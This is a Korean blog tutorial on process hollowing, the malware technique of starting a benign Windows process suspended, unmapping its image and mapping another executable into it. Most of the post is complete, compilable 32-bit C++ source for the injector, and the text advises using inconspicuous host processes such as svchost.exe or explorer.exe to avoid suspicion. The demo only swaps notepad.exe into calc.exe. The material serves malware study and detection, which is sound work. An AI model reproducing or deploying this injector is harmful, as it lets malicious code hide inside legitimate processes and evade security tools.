본문 바로가기

Malware/기술 & 기법

[Process Hollowing] 프로세스 할로잉

개요


프로세스 할로잉(Process Hollowing)이란, 악성코드가 주로 사용하는 기술로 대상 프로세스의 이미지를 언매핑하고 자신의 이미지를 매핑하는 기술이며 PE 이미지 스위칭(PE Image Switching)으로도 불리기도 한다. 껍질로 사용할 정상적인 프로세스(explorer.exe, notepad.exe, svchost.exe 등)를  하나 생성하고, 생성된 프로세스의 이미지를 언매핑하여 로드된 DLL 이미지만 남겨둔 빈 프로세스로 만들어 버린다. 그리고 자신의 이미지를 빈 프로세스에 매핑 시켜 자신의 이미지를 실행하도록 하는 것이다. 쉽게 비유하자면 도둑이 들어와 집주인을 내쫓고 자신이 그 집의 주인처럼 행세하는 상황이랑 비슷하다. 실제로 코드와 데이터들이 바뀌었고 바뀐 코드를 실행하고 데이터를 사용하기 때문에 더 이상 정상적인 프로세스가 아닌 스위칭한 이미지 프로세스로 보는 것이 현명하다.

 

할로잉된 프로세스는 작업 관리자나 프로세스 익스플로어 툴로 위와 같이 확인해도 정상적인 프로세스 그 자체이므로 외관상 구별하기에는 어려움이 따른다. 만약 할로잉된 프로세스를 확인하고자 한다면 외관상으로 구별하기보다는 메모리를 덤프 하여 비교하거나 디버거로 분석하도록 하자.

 

대상 프로세스 생성


/*
BOOL CreateProcessW(
  LPCWSTR               lpApplicationName,
  LPWSTR                lpCommandLine,
  LPSECURITY_ATTRIBUTES lpProcessAttributes,
  LPSECURITY_ATTRIBUTES lpThreadAttributes,
  BOOL                  bInheritHandles,
  DWORD                 dwCreationFlags,
  LPVOID                lpEnvironment,
  LPCWSTR               lpCurrentDirectory,
  LPSTARTUPINFOW        lpStartupInfo,
  LPPROCESS_INFORMATION lpProcessInformation
);
*/

bool Hollow::CreateDummyProcess(const wchar_t* pCommandLine) {
	wchar_t szCommandLine[MAX_PATH] = { 0, };

	wcscpy(szCommandLine, pCommandLine);
	if (!CreateProcessW(NULL, szCommandLine, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &this->si, &this->pi)) {
		return false;
	}

	return true;
}

프로세스 이미지를 스위칭할 희생양 프로세스를 하나 만들어야 한다. 비교적 덜 의심 가는 프로세스인 svchost.exe, explorer.exe를 생성하는 것이 좋으며, 프로세스를 생성할 때는 CreateProcessW() 함수를 사용하는 것을 권장한다. CreateProcessW() 함수를 사용하면 생성된 자식 프로세스의 핸들과 메인 스레드의 핸들이 PROCESS_INFORMATION 구조체에 저장되어 나중에 추가로 핸들을 얻을 필요가 없어지기 때문이다.

 

프로세스를 만들 때 주의해야 할 점이 한 가지가 있는데 꼭 지켜주도록 하자. 대상 프로세스가 시작되기 전, 즉 메인 스레드가 시작하기 전에 실행을 멈추어야 한다는 것인데 dwCreationFlags 인자 값에는 CREATE_SUSPENDED 플래그를 넣어주면 프로세스가 실행과 동시에 메인 스레드를 멈출 수 있으니 CREATE_SUSPENDED 플래그를 넣어주도록 해야 한다.

 

이미지 스위칭


bool Hollow::ProcessHollowing(const wchar_t* pProgramPath) {
	HANDLE hFile, hFileMapping;

	PIMAGE_DOS_HEADER pDos;
	PIMAGE_NT_HEADERS pNt;
	PIMAGE_SECTION_HEADER pSec;

	CONTEXT ctx = { 0, };
	LPVOID lpTargetBase, lpAllocMem;

	ctx.ContextFlags = CONTEXT_FULL;

	if (this->pi.dwProcessId == 0 || this->pi.dwThreadId == 0) {
		return false;
	}

	hFile = CreateFileW(pProgramPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if (hFile == INVALID_HANDLE_VALUE) {
		return false;
	}

	hFileMapping = CreateFileMappingW(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
	if (hFileMapping == INVALID_HANDLE_VALUE) {
		return false;
	}

	pDos = (PIMAGE_DOS_HEADER)MapViewOfFile(hFileMapping, FILE_MAP_READ, 0, 0, 0);
	if (pDos->e_magic != IMAGE_DOS_SIGNATURE) {
		return false;
	}

	pNt = (PIMAGE_NT_HEADERS)((PBYTE)pDos + pDos->e_lfanew);
	if (!GetThreadContext(this->pi.hThread, &ctx)) {
		return false;
	}

	// PEB에서 ImageBase 읽기
	if (!ReadProcessMemory(this->pi.hProcess, (LPVOID)(ctx.Ebx + (sizeof(DWORD) * 2)), &lpTargetBase, sizeof(LPVOID), NULL)) {
		return false;
	}

	// Dummy 프로세스의 베이스 주소와 덮어씌울 프로그램의 베이스 주소가 같을 시에 언매핑
	if (lpTargetBase == (LPVOID)pNt->OptionalHeader.ImageBase) {
		NtUnmapViewOfSection(this->pi.hProcess, lpTargetBase);
	}

	// Dummy 프로세스에 ImageBase 주소 메모리 할당
	lpAllocMem = VirtualAllocEx(this->pi.hProcess, (LPVOID)pNt->OptionalHeader.ImageBase, pNt->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if (lpAllocMem == NULL) {
		return false;
	}

	// PE 헤더 쓰기
	if (!WriteProcessMemory(this->pi.hProcess, lpAllocMem, pDos, pNt->OptionalHeader.SizeOfHeaders, NULL)) {
		return false;
	}

	// 섹션 쓰기
	for (int i = 0; i < pNt->FileHeader.NumberOfSections; i++) {
		pSec = (PIMAGE_SECTION_HEADER)((PBYTE)pDos + pDos->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)));
		WriteProcessMemory(this->pi.hProcess, (LPVOID)((PBYTE)lpAllocMem + pSec->VirtualAddress), (LPVOID)((PBYTE)pDos + pSec->PointerToRawData), pSec->SizeOfRawData, NULL);
	}

	// EntryPoint 설정
	ctx.Eax = (DWORD)((PBYTE)lpAllocMem + pNt->OptionalHeader.AddressOfEntryPoint);
	// PEB ImageBase 설정
	if (!WriteProcessMemory(this->pi.hProcess, (PVOID)(ctx.Ebx + (sizeof(DWORD) * 2)), &pNt->OptionalHeader.ImageBase, sizeof(PVOID), NULL)) {
		return false;
	}
	
	// 스레드 컨텍스트 적용
	if (!SetThreadContext(this->pi.hThread, &ctx)) {
		return false;
	}
	// Dummy 프로세스의 메인 스레드 재계
	NtResumeThread(this->pi.hThread, NULL);

	UnmapViewOfFile(pDos);
	CloseHandle(hFile);
	CloseHandle(hFileMapping);
	return true;
}

 

PE 구조가 능숙하지 않는 분들이나 프로세스 할로잉을 처음 접하는 분들은 소스 코드가 복잡해 보일 수도 있다. 하지만 생각보다 쉬운 편이므로 PE 구조를 좀 더 공부해보고 다시 읽어보거나 이해하는 데 어려움을 겪고 있다면 직접 코드를 디버깅을 하는 것이 이해하는데 큰 도움을 줄 것이다. PE 구조는 아직 포스팅을 하지 않았는데, 포스팅하게 된다면 링크를 걸도록 하겠다.

 

	HANDLE hFile, hFileMapping;

	PIMAGE_DOS_HEADER pDos;
	PIMAGE_NT_HEADERS pNt;
	PIMAGE_SECTION_HEADER pSec;
    
	hFile = CreateFileW(pProgramPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if (hFile == INVALID_HANDLE_VALUE) {
		return false;
	}

	hFileMapping = CreateFileMappingW(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
	if (hFileMapping == INVALID_HANDLE_VALUE) {
		return false;
	}

	pDos = (PIMAGE_DOS_HEADER)MapViewOfFile(hFileMapping, FILE_MAP_READ, 0, 0, 0);
	if (pDos->e_magic != IMAGE_DOS_SIGNATURE) {
		return false;
	}

	pNt = (PIMAGE_NT_HEADERS)((PBYTE)pDos + pDos->e_lfanew);

ProcessHollowing 함수에서 스위칭할 PE 파일을 파싱하는 코드만 가져와 보았다. 위 코드를 쉽게 설명하면 CreateFileW() 함수에서 지정된 경로에 있는 파일을 읽기 전용으로 열고 CreateFileMappinW() 함수와 MapViewOfFile() 함수로 해당 파일을 메모리에 매핑시킨 코드이다. 위 코드와 같이 파일을 매핑을 하는 방법 말고도 ReadFile() 함수로 파일 데이터를 읽어들이는 방법을 사용해도 문제 없다.

 

typedef struct _IMAGE_DOS_HEADER {      // DOS .EXE header
    WORD   e_magic;                     // Magic number
    WORD   e_cblp;                      // Bytes on last page of file
    WORD   e_cp;                        // Pages in file
    WORD   e_crlc;                      // Relocations
    WORD   e_cparhdr;                   // Size of header in paragraphs
    WORD   e_minalloc;                  // Minimum extra paragraphs needed
    WORD   e_maxalloc;                  // Maximum extra paragraphs needed
    WORD   e_ss;                        // Initial (relative) SS value
    WORD   e_sp;                        // Initial SP value
    WORD   e_csum;                      // Checksum
    WORD   e_ip;                        // Initial IP value
    WORD   e_cs;                        // Initial (relative) CS value
    WORD   e_lfarlc;                    // File address of relocation table
    WORD   e_ovno;                      // Overlay number
    WORD   e_res[4];                    // Reserved words
    WORD   e_oemid;                     // OEM identifier (for e_oeminfo)
    WORD   e_oeminfo;                   // OEM information; e_oemid specific
    WORD   e_res2[10];                  // Reserved words
    LONG   e_lfanew;                    // File address of new exe header
  } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
  
typedef struct _IMAGE_NT_HEADERS {
    DWORD Signature;
    IMAGE_FILE_HEADER FileHeader;
    IMAGE_OPTIONAL_HEADER32 OptionalHeader;
} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;

그리고 MapViewOfFile() 함수가 반환한 매핑된 파일 메모리 주소를 pDos 포인터로 가르키게 하고 pNt 포인터로 pDos 주소와 e_lfanew를 더해 IMAGE_NT_HEADERS 구조체의 주소를 가르키게 하였다. 편하게 PE 파일을 파싱하지 않고 그대로 대상 프로세스에  할당시키면 되지 않나요?라고 생각할 수도 있겠지만 그러한 방법으로 이미지를 매핑하게 된다면 제대로 작동되지 안뿐더러 해결하는 데 많은 시간과 많은 노력이 필요할 것이다. 처음부터 올바르게 PE 이미지를 매핑해보도록 하자.

 

	PIMAGE_SECTION_HEADER pSec;

	CONTEXT ctx = { 0, };
	LPVOID lpTargetBase, lpAllocMem;
    
	// Dummy 프로세스 메인 스레드 컨텍스트 가져오기
	if (!GetThreadContext(this->pi.hThread, &ctx)) {
		return false;
	}

	// PEB에서 ImageBase 읽기
	if (!ReadProcessMemory(this->pi.hProcess, (LPVOID)(ctx.Ebx + 8), &lpTargetBase, sizeof(LPVOID), NULL)) {
		return false;
	}

프로세스가 처음 생성되었을 때 32비트 프로세스 기준 EBX 레지스터에 PEB(Process Environment Block) 구조체의 주소가 세팅되어 있다. 레지스터에 이미 PEB 주소가 세팅되어 있기에 따로 PEB 주소를 구해줄 필요는 없으며 GetThreadContext() 함수로 더미 프로세스에 생성된 메인 스레드 컨텍스트를 가져오고 EBX 레지스터에 8을 더한 주소에 있는 ImageBaseAddress를 ReadProcessMemory() 함수로 읽어들이면 된다. 왜 8을 더한 주소인지는 아래 PEB 구조체를 참고해보자.

struct _PEB {
    0x000 BYTE InheritedAddressSpace;
    0x001 BYTE ReadImageFileExecOptions;
    0x002 BYTE BeingDebugged;
    0x003 BYTE SpareBool;
    0x004 void* Mutant;
    0x008 void* ImageBaseAddress;
    .............................
);

 

	// Dummy 프로세스의 베이스 주소와 스위칭할 프로그램의 베이스 주소가 같을 시에 언매핑
	if (lpTargetBase == (LPVOID)pNt->OptionalHeader.ImageBase) {
		NtUnmapViewOfSection(this->pi.hProcess, lpTargetBase);
	}

	// Dummy 프로세스에 ImageBase 주소 메모리 할당
	lpAllocMem = VirtualAllocEx(this->pi.hProcess, (LPVOID)pNt->OptionalHeader.ImageBase, pNt->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if (lpAllocMem == NULL) {
		return false;
	}

더미 프로세스의 이미지 베이스 주소와 스위칭할 PE 파일의 이미지 베이스 주소가 다를 경우는 상관없지만 같을 경우에는 NtUnmapViewOfSection() 함수로 원본 PE 이미지를 언매핑해준 다음에 VirtualAllocEx() 함수로 SizeOfImage 만큼 메모리를 할당해준다.

 

	// PE 헤더 쓰기
	if (!WriteProcessMemory(this->pi.hProcess, lpAllocMem, pDos, pNt->OptionalHeader.SizeOfHeaders, NULL)) {
		return false;
	}

	// 섹션 쓰기
	for (int i = 0; i < pNt->FileHeader.NumberOfSections; i++) {
		pSec = (PIMAGE_SECTION_HEADER)((PBYTE)pDos + pDos->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)));
		WriteProcessMemory(this->pi.hProcess, (LPVOID)((PBYTE)lpAllocMem + pSec->VirtualAddress), (LPVOID)((PBYTE)pDos + pSec->PointerToRawData), pSec->SizeOfRawData, NULL);
	}
typedef struct _IMAGE_SECTION_HEADER {
  BYTE  Name[IMAGE_SIZEOF_SHORT_NAME];
  union {
    DWORD PhysicalAddress;
    DWORD VirtualSize;
  } Misc;
  DWORD VirtualAddress;
  DWORD SizeOfRawData;
  DWORD PointerToRawData;
  DWORD PointerToRelocations;
  DWORD PointerToLinenumbers;
  WORD  NumberOfRelocations;
  WORD  NumberOfLinenumbers;
  DWORD Characteristics;
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;

할당된 메모리에 먼저 WriteProcessMemory() 함수로 IMAGE_DOS_HEADER, IMAGE_NT_HEADERS 등 이미지 헤더를 쓰고 IMAGE_NT_HEADERS 구조체 뒤에 있는 IMAGE_SECTION_HEADER들을 파싱하여 이미지 베이스 주소에 섹션 가상 메모리 주소를 더한 주소에 섹션 데이터를 써준다면 이미지 매핑은 끝이다. 정말 간단하지 않는가?

 

	// EntryPoint 설정
	ctx.Eax = (DWORD)((PBYTE)lpAllocMem + pNt->OptionalHeader.AddressOfEntryPoint);
	// PEB ImageBase 재설정
	if (!WriteProcessMemory(this->pi.hProcess, (PVOID)(ctx.Ebx + 8), &pNt->OptionalHeader.ImageBase, sizeof(PVOID), NULL)) {
		return false;
	}
	
	// 스레드 컨텍스트 적용
	if (!SetThreadContext(this->pi.hThread, &ctx)) {
		return false;
	}
	// Dummy 프로세스의 메인 스레드 재계
	NtResumeThread(this->pi.hThread, NULL);

이미지 매핑이 끝났으므로 마무리 작업으로 EntryPoint와 ImageBaseAddr를 재설정해보도록 하겠다. 디버거로 멈춰있는 스레드에 부착한다면 RtlCreateUserThread() 함수에 SUSPEND 되있으며 EAX 레지스터에는 원본 프로세스의 EntryPoint 주소, EBX 레지스터에는 PEB 주소가 있는 것을 확인할 수 있다. RtlCreateUserThread() 함수는 EAX 레지스터에 있는 주소로 스레드를 시작할 것으로 유추할 수 있으니 EAX 레지스터에 이미지 베이스 주소와 AddressOfEntryPoint를 더한 주소를 세팅하고 SetThreadContext() 함수로 수정된 스레드 컨텍스트를 적용해주도록 하자. NtResumeThread() 함수로 멈춰있는 메인 스레드를 재계시켜주면 EAX 레지스터에 있는 주소를 실행해줄 것이다. PEB 구조체에 있는 ImageBaseAddr를 스위칭된 이미지 베이스 주소로 세팅하는 작업 또한 잊지말고 해주어야 한다.

 

위 스크린샷은 calc.exe 프로세스에 notepad.exe 이미지를 스위칭한 이미지이다. 여러 가지 프로세스를 스위칭을 테스트한 결과 GUI 프로세스에는 GUI 프로그램을, 콘솔 프로그램에는 콘솔 프로그램을 스위칭하는 것이 아닌 경우에는 오류가 발생할 수 있으니 알맞은 프로세스에 스위칭할 수 있도록 주의할 필요가 있어 보인다.

 

소스 코드


// Hollow.h
#pragma once
#include <iostream>
#include <Windows.h>

EXTERN_C NTSTATUS NTAPI NtUnmapViewOfSection(HANDLE, PVOID);
EXTERN_C NTSTATUS NTAPI NtResumeThread(HANDLE, PULONG);

class Hollow
{
private:
	STARTUPINFOW si;
	PROCESS_INFORMATION pi;
public:
	Hollow();
	~Hollow();
	bool CreateDummyProcess(const wchar_t* pCommandLine);
	bool ProcessHollowing(const wchar_t* pProgramPath);
	void TerminateDummyProcess();
};

 

// Hollow.cpp
#include "Hollow.h"

#pragma comment(lib, "ntdll.lib")

Hollow::Hollow() {
	ZeroMemory(&si, sizeof(si));
	ZeroMemory(&pi, sizeof(pi));

	si.cb = sizeof(si);
}
Hollow::~Hollow() {
	if (pi.hProcess)
		CloseHandle(pi.hProcess);
	if (pi.hThread)
		CloseHandle(pi.hThread);
}

bool Hollow::CreateDummyProcess(const wchar_t* pCommandLine) {
	wchar_t szCommandLine[MAX_PATH] = { 0, };

	wcscpy(szCommandLine, pCommandLine);
	if (!CreateProcessW(NULL, szCommandLine, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &this->si, &this->pi)) {
		return false;
	}

	return true;
}

bool Hollow::ProcessHollowing(const wchar_t* pProgramPath) {
	HANDLE hFile, hFileMapping;

	PIMAGE_DOS_HEADER pDos;
	PIMAGE_NT_HEADERS pNt;
	PIMAGE_SECTION_HEADER pSec;

	CONTEXT ctx = { 0, };
	LPVOID lpTargetBase, lpAllocMem;

	ctx.ContextFlags = CONTEXT_FULL;

	if (this->pi.dwProcessId == 0 || this->pi.dwThreadId == 0) {
		return false;
	}

	hFile = CreateFileW(pProgramPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if (hFile == INVALID_HANDLE_VALUE) {
		return false;
	}

	hFileMapping = CreateFileMappingW(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
	if (hFileMapping == INVALID_HANDLE_VALUE) {
		return false;
	}

	pDos = (PIMAGE_DOS_HEADER)MapViewOfFile(hFileMapping, FILE_MAP_READ, 0, 0, 0);
	if (pDos->e_magic != IMAGE_DOS_SIGNATURE) {
		return false;
	}

	pNt = (PIMAGE_NT_HEADERS)((PBYTE)pDos + pDos->e_lfanew);
	// Dummy 프로세스 메인 스레드 컨텍스트 가져오기
	if (!GetThreadContext(this->pi.hThread, &ctx)) {
		return false;
	}

	// PEB에서 ImageBase 읽기
	if (!ReadProcessMemory(this->pi.hProcess, (LPVOID)(ctx.Ebx + 8), &lpTargetBase, sizeof(LPVOID), NULL)) {
		return false;
	}

	// Dummy 프로세스의 베이스 주소와 스위칭할 프로그램의 베이스 주소가 같을 시에 언매핑
	if (lpTargetBase == (LPVOID)pNt->OptionalHeader.ImageBase) {
		NtUnmapViewOfSection(this->pi.hProcess, lpTargetBase);
	}

	// Dummy 프로세스에 ImageBase 주소 메모리 할당
	lpAllocMem = VirtualAllocEx(this->pi.hProcess, (LPVOID)pNt->OptionalHeader.ImageBase, pNt->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if (lpAllocMem == NULL) {
		return false;
	}

	// PE 헤더 쓰기
	if (!WriteProcessMemory(this->pi.hProcess, lpAllocMem, pDos, pNt->OptionalHeader.SizeOfHeaders, NULL)) {
		return false;
	}

	// 섹션 쓰기
	for (int i = 0; i < pNt->FileHeader.NumberOfSections; i++) {
		pSec = (PIMAGE_SECTION_HEADER)((PBYTE)pDos + pDos->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)));
		WriteProcessMemory(this->pi.hProcess, (LPVOID)((PBYTE)lpAllocMem + pSec->VirtualAddress), (LPVOID)((PBYTE)pDos + pSec->PointerToRawData), pSec->SizeOfRawData, NULL);
	}

	// EntryPoint 설정
	ctx.Eax = (DWORD)((PBYTE)lpAllocMem + pNt->OptionalHeader.AddressOfEntryPoint);
	// PEB ImageBase 재설정
	if (!WriteProcessMemory(this->pi.hProcess, (PVOID)(ctx.Ebx + 8), &pNt->OptionalHeader.ImageBase, sizeof(PVOID), NULL)) {
		return false;
	}
	
	// 스레드 컨텍스트 적용
	if (!SetThreadContext(this->pi.hThread, &ctx)) {
		return false;
	}
	// Dummy 프로세스의 메인 스레드 재계
	NtResumeThread(this->pi.hThread, NULL);

	UnmapViewOfFile(pDos);
	CloseHandle(hFile);
	CloseHandle(hFileMapping);
	return true;
}

void Hollow::TerminateDummyProcess() {
	if (this->pi.hProcess != NULL)
		TerminateProcess(this->pi.hProcess, 0);
}

 

// main.cpp
#include "Hollow.h"

using namespace std;

int main(void) {
	Hollow* hollow = new Hollow();
	
	if (!hollow->CreateDummyProcess(L"calc.exe")) {
		cout << "[!] CreateDummyProcess" << endl;
		return 1;
	}
	
	if (!hollow->ProcessHollowing(L"C:\\Temp\\notepad.exe")) {
		cout << "[!] ProcessHollowing" << endl;
		return 1;
	}

	delete(hollow);
	return 0;
}

참고문헌


ProcessHollowing32-64, https://github.com/idan1288/ProcessHollowing32-64 

PEB-Process-Environment-Block, https://www.aldeid.com/wiki/PEB-Process-Environment-Block

'Malware > 기술 & 기법' 카테고리의 다른 글

[Injection] DLL 인젝션  (0) 2019.11.13
[Injection] 코드 인젝션  (1) 2019.11.13